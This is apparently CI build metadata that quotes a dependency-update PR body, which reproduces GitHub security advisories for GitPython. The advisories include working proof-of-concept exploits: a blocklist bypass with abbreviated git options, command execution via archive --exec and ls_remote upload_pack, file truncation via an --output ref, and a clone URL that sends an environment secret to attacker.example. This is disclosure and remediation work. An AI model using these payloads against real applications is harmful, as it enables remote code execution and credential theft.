          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Command Injection via git long-option prefix abbreviation bypass
          of CVE-2026-42215 blocklist\n[GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Command injection via long-option
          prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of
          CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython
          (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist
          fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:**
          CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command
          Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated
          High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring
          deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n#####
          Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options
          (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for
          fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach
          command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe
          fix canonicalizes an option name along **one** axis (underscore\u2192hyphen
          via `dashify`) and checks it against an **exact-match** dict. It does not
          account for git's unambiguous long-option prefix abbreviation. Git accepts
          any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac`
          all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes
          to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>`
          \u2192 executed as `--upload-pack=<value>` \u2192 command injection, in
          the default `allow_unsafe_options=False` configuration.\n\n##### The asymmetry
          (root cause)\n\n```python\n\n##### git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef
          _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\",
          1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n
          \       return \"\"\n    return dashify(option_tokens[0])      # only transform:
          \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n
          \   canonical_unsafe_options = {cls._canonicalize_option_name(o): o for
          o in unsafe_options}\n    for option in options:\n        unsafe_option
          = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n
          \       if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe
          guard normalizes only `_`\u2192`-` and does exact dict membership. Git's
          CLI parser accepts a broader grammar (prefix abbreviation) than the guard
          models, so abbreviated keys slip through and reach git as the blocked option.\n\n#####
          Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960`
          `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n|
          `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the
          incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>`
          to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201`
          | fetch / pull / push call sites |\n\n##### Bypass keys (verified)\n\n|
          kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n|
          `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes
          \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014
          direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`,
          `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional
          config vector (see note) |\n\n##### Minimal PoC\n\nSelf-contained, no network
          egress (a local bare repo acts as the \"remote\"). Tested on current `main`
          (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork
          = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n#####
          fake \"upload-pack\" program that proves arbitrary command execution\nprog
          = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch
          {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog,
          os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare,
          bare=True)\n\n##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog>
          -> git runs <prog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"),
          upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError
          AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))
          \ # True -> command injection confirmed\n```\n\nEquivalent at the shell:
          `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed
          behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192
          passes guard, reaches git, executes. The fix works for the form it models
          but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves
          as documented (out of scope).\n\n##### Honest scope note\n\nLike the parent
          CVE, exploitation requires a host application that flows attacker-controlled
          kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes
          only fixed/validated keys, this is not reachable \u2014 the vulnerability
          is in the library's documented defense-in-depth control (`allow_unsafe_options=False`),
          which this variant defeats.\n\nOn the `--config` family: `conf` bypasses
          the option blocklist, but weaponizing `--config protocol.ext.allow=always`
          via an `ext::` URL is independently blocked by GitPython's protocol allowlist
          (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack`
          / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n#####
          Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject
          any option whose canonical name is an unambiguous prefix of a blocked option
          (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2.
          **Disable abbreviation at the sink:** pass `--end-of-options` or invoke
          git in a way that disables long-option abbreviation.\n3. **Allowlist** option
          names on security-sensitive subcommands instead of a blocklist.\n\nRemediation
          should also cover the `-c`/`--config` family abbreviations, even though
          the `ext::` route is currently gated by the protocol allowlist.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2161](https://redirect.github.com/gitpython-developers/GitPython/pull/2161)\n-
          [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://redirect.github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
          [https://github.com/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: command injection via unguarded Git options in `Repo.archive()`,
          `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()`
          / `Repo.blame()`\n[GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nGitPython spawns
          the real `git` binary with an argument vector built from caller-supplied
          values. To prevent argument injection, GitPython maintains denylists of
          \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`,
          `--config`, \u2026) that can be abused to run arbitrary commands, and enforces
          them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired
          into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`,
          `Remote.push`. Several other public APIs that also forward caller-controlled
          values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream,
          treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into
          `git archive`. An attacker-influenced options mapping such as `{\"remote\":
          \".\", \"exec\": \"<cmd>\"}` becomes `git archive --remote=. --exec=<cmd>
          -- <treeish>`, and `git archive --remote=<local repo>` invokes `git-upload-archive`
          whose path is overridden by `--exec` \u2192 **arbitrary command execution
          under default Git configuration** (no `protocol.ext.allow` needed).\n\n2.
          **`repo.git.ls_remote(<url>, upload_pack=\"<cmd>\")`** (and the dynamic-command
          builder generally) turns the `upload_pack` kwarg into `--upload-pack=<cmd>`
          with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`**
          and **`Repo.blame(rev, file)`** place the caller's `rev` value into the
          argv *before* the `--` end-of-options separator and apply no leading-dash
          check. A benign-looking ref value such as `--output=/path/to/file` is parsed
          by `git rev-list` / `git blame` as the `--output` option, which **opens
          and truncates an arbitrary file** before Git even validates the revision
          \u2192 arbitrary file clobber (integrity/availability; can destroy keys,
          configs, lockfiles, or be aimed at files the host later sources).\n\nThe
          first two are direct code execution; the third is an arbitrary file-overwrite
          primitive. All share one root cause: the `check_unsafe_options` / end-of-options
          discipline that GitPython applies to clone/fetch/pull/push was never extended
          to these sinks.\n\n##### Details\n\nGitPython explicitly recognises these
          options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options
          = [\n    # Arbitrary command execution.\n    \"--upload-pack\",\n    \"--receive-pack\",\n
          \   # Arbitrary file overwrite.\n    \"--exec\",\n]\n```\n\nand enforces
          them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef
          check_unsafe_options(cls, options, unsafe_options):\n    ...\n    if unsafe_option
          is not None:\n        raise UnsafeOptionError(f\"{unsafe_option} is not
          allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options`
          is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071
          \  Remote.fetch\ngit/remote.py:1125   Remote.pull\ngit/remote.py:1198   Remote.push\ngit/repo/base.py:1410
          / :1412  Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled
          options/positionals and are **not** guarded:\n\n##### 1. `Repo.archive`
          \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self,
          ostream, treeish=None, prefix=None, **kwargs):\n    ...\n    self.git.archive(\"--\",
          treeish, *path, **kwargs)\n    return self\n```\n\n`treeish` and `path`
          are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg`
          (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before**
          the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive`
          already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding
          a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive
          --remote=. --exec=<cmd> -- <treeish>\n```\n\n`git archive --remote=<repo>`
          runs the upload-archive helper; `--exec=<cmd>` overrides the helper path,
          executing `<cmd>` on the host. This works with **default Git config** \u2014
          it does not rely on the `ext::` transport (which is blocked by default).\n\n#####
          2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic
          builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack`
          \u2192 `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>`
          executes `<cmd>`. The dynamic builder makes **both** the flag name and value
          caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote`
          has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg
          gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014
          but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n#####
          3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`,
          `git/repo/base.py:1199`)\n\n```python\n\n##### Commit.iter_items (reached
          via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True,
          **kwargs)   # args_list == [\"--\", *paths]\n```\n\n```python\n\n##### Repo.blame\ndata
          = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False,
          **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash
          check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a
          value that looks like an ordinary ref/branch/tag string an app forwards
          from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git
          rev-list`/`log`/`blame` honour `--output=<file>`, which `open()`s and truncates
          the file *before* validating the revision \u2014 so the file is destroyed
          even though Git then errors out on the bad revision.\n\n##### PoC\n\nAll
          three PoCs are self-contained, run against the released **GitPython 3.1.50**
          under **default Git configuration**, and were executed live (git 2.51.0).
          Each prints a host-side marker proving the effect.\n\n##### Install\n\n```bash\npython3
          -m venv venv && . venv/bin/activate\npip install GitPython           # resolves
          to 3.1.50\npython -c \"import git; print(git.__version__)\"   # 3.1.50\n```\n\n#####
          PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n\n#####
          archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n
          \               'commit','-q','--allow-empty','-m','init'], check=True)\nrepo
          = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif
          os.path.exists(marker): os.remove(marker)\n\n##### a service lets a user
          export a repo and forwards their options dict\nopts = {'remote': '.', 'exec':
          'touch ' + marker}\ntry:\n    repo.archive(io.BytesIO(), **opts)\nexcept
          git.exc.GitCommandError as e:\n    print('[*] git exited non-zero (expected),
          but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker
          present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*]
          git exited non-zero (expected), but the exec already ran: Cmd('git') failed
          due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get
          protocol.ext.allow` returns nothing (unset = default), confirming no special
          config is required.\n\n##### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n\n#####
          lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
          check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif
          os.path.exists(marker): os.remove(marker)\ntry:\n    repo.git.ls_remote('.',
          upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n
          \   print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote
          marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*]
          git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker
          present: True\n```\n\n##### PoC 3 \u2014 arbitrary file overwrite via a
          benign-looking `rev`\n\n```python\n\n##### itercommits_filewrite.py\nimport
          os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
          check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do
          not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref
          = '--output=' + victim          # value an app forwards as a \"ref/branch\"\ntry:\n
          \   list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as
          e:\n    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+]
          after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*]
          before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git')
          failed due to: exit code(129)\n[+] after : '' <- truncated\n```\n\n####
          Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2163](https://redirect.github.com/gitpython-developers/GitPython/pull/2163)\n-
          [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://redirect.github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
          [https://github.com/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via os.path.expandvars() on
          Repo.clone_from() URL\n[GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Repo.clone_from()`
          passes the caller-supplied remote URL through `Git.polish_url()`, which
          on every non-Cygwin platform calls `os.path.expandvars()` on the URL before
          handing it to `git clone`. An attacker who controls the URL argument \u2014
          the documented use case for `clone_from()` in \"import repository from URL\"
          features of CI servers, git-hosting mirrors, and dependency scanners \u2014
          can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the
          values of the hosting process's environment variables. The resulting URL,
          now containing the secret, is transmitted over the network to the attacker-named
          host. This crosses the trust boundary between an untrusted remote URL and
          the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY`
          or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone
          URL.\n\n##### Details\n**Affected versions:** `gitpython` (PyPI) \u2014
          all releases up to and including `3.1.50` (latest at time of reporting);
          confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally
          applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py`
          (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls,
          url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n    \"\"\"Remove
          any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n
          \   if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if
          is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)
          \         # <-- line 921\n        if url.startswith(\"~\"):\n            url
          = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\",
          \"/\")\n    return url\n```\n\n`Repo._clone()` \u2014 reached from the public
          `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014
          runs the unsafe-protocol check on the **raw** URL and then passes the **polished**
          (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py`
          (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()),
          unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options
          and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc
          = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          #
          <-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause
          `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]`
          when set (and on Windows additionally `%NAME%`), an attacker-supplied URL
          such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis
          rewritten server-side to embed the literal secret value in the path component,
          and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token
          is placed in the host label) carrying that value to `attacker.example`.
          The clone itself will typically fail, but the secret has already left the
          server by that point.\n\n`polish_url()` was written as a local-path normalisation
          helper (Cygwin path conversion, `~` expansion, backslash fixing) and is
          applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False`
          opt-out for the clone URL, and no documentation that the URL undergoes environment
          expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid
          git url\". By contrast, the maintainers already flag env-var expansion as
          a security concern for the *local repository path* argument: `Repo.__init__`
          emits a deprecation warning (\"The use of environment variables in paths
          is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and
          offers `expand_vars=False`. The same treatment is missing for the network-bound
          clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).**
          Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line
          1408) but the *post-expansion* URL is what reaches `git`, an attacker who
          additionally controls any environment variable in the server process could
          set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X`
          passes the `ext::` filter, then expands to an `ext::` remote-helper transport
          that `git` will execute. This requires a second precondition (env-var write)
          and is noted as an aggravating factor rather than a separate vulnerability.\n\n#####
          PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git`
          on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip
          install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n\n#!/usr/bin/env
          python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from()
          URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis
          passed through os.path.expandvars() before being given to `git clone`,\nso
          `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable
          values and transmitted to the attacker-named host.\n\nThe PoC intercepts
          the Popen argv to show the exact URL handed to `git`\nwithout performing
          real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport
          tempfile\n\n##### Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"]
          = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              #
          noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython
          version: {git.__version__}\")\n\n##### --- Layer 1: Git.polish_url() directly
          --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished
          = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"
          \ input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"]
          in polished:\n    print(\"  -> secret SUBSTITUTED into URL by polish_url()\")\n\n#####
          --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured
          = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n
          \   def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list,
          tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n
          \       super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport
          git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen
          \    # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n
          \   Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception
          as e:\n    # The clone fails (attacker.example does not resolve); we only
          need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen
          = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor
          tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\",
          [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer
          2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif
          url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server
          env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote
          clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT
          VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version:
          3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n
          \ output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
          \ -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from
          raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone`
          subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
          \ /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE:
          server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone
          URL; git would transmit it to attacker.example.\n```\n\nThe captured argv
          is the exact command line spawned by GitPython; against a real attacker-controlled
          host, `git` would issue a DNS lookup and HTTP(S) request to that host with
          the secret embedded in the request path.\n\n##### Impact\nAny application
          that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly
          or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror
          repository from URL\" features in CI systems, source-code hosting platforms,
          dependency scanners, and build pipelines \u2014 allows an unauthenticated
          or low-privileged attacker to exfiltrate arbitrary environment variables
          from the server process, one per request, by naming them in the URL. Cloud
          credentials, API tokens, and signing keys stored in the environment are
          the primary targets. Applications that do not accept clone URLs from untrusted
          sources, or that run the cloner in a process with a fully stripped environment,
          are not affected. There is no direct integrity or availability impact.\n\n**Suggested
          fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call
          from `Git.polish_url()` for inputs that are remote URLs (contain `://` or
          match `user@host:path`), or remove the expansion entirely and require callers
          who want local-path env expansion to perform it themselves \u2014 mirroring
          the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally,
          apply `check_unsafe_protocols()` to the *post-transformation* URL so no
          future `polish_url` change can silently bypass the `ext::` filter.\n\n####
          Severity\n- CVSS Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2172](https://redirect.github.com/gitpython-developers/GitPython/pull/2172)\n-
          [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.52)\n-
          [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: git-config section-name injection enables arbitrary config directives
          (core.sshCommand RCE)\n[GHSA-3rp5-jjmw-4wv2](https://redirect.github.com/advisories/GHSA-3rp5-jjmw-4wv2)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nIn GitPython `<=
          3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration
          **names**, but writes section names into the `[...]` header with no other
          escaping. A section/subsection name that contains `] [ \"` closes the intended
          header and opens a second same-line section, injecting an arbitrary config
          directive \u2014 with no newline required. Because a submodule **name**
          is attacker-controlled data (it comes from a repository's `.gitmodules`,
          or from an application that lets a user name a submodule) and is written
          verbatim into the parent repository's trusted `.git/config`, an attacker
          can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`)
          and achieve remote code execution on the victim's next git operation. Likely
          **CWE-74 (Inject\n\n> \u2702 **Note**\n> \n> PR body was truncated to here.\n"
        change_url: https://github.com/osism/pulpfiction/pull/10
        commit_id: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
        patchset: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          name: osism/pulpfiction
          short_name: pulpfiction
        src_dir: src/github.com/osism/pulpfiction
        topic: null
      buildset: b7239ab464094fd282b4d68d7fb30098
      buildset_refs:
      - branch: main
        change: '10'
        change_message: "Update dependency GitPython to v3.1.57 [SECURITY]\n\n> \u2139\uFE0F
          **Note**\n> \n> This PR body was truncated due to platform limits.\n\nThis
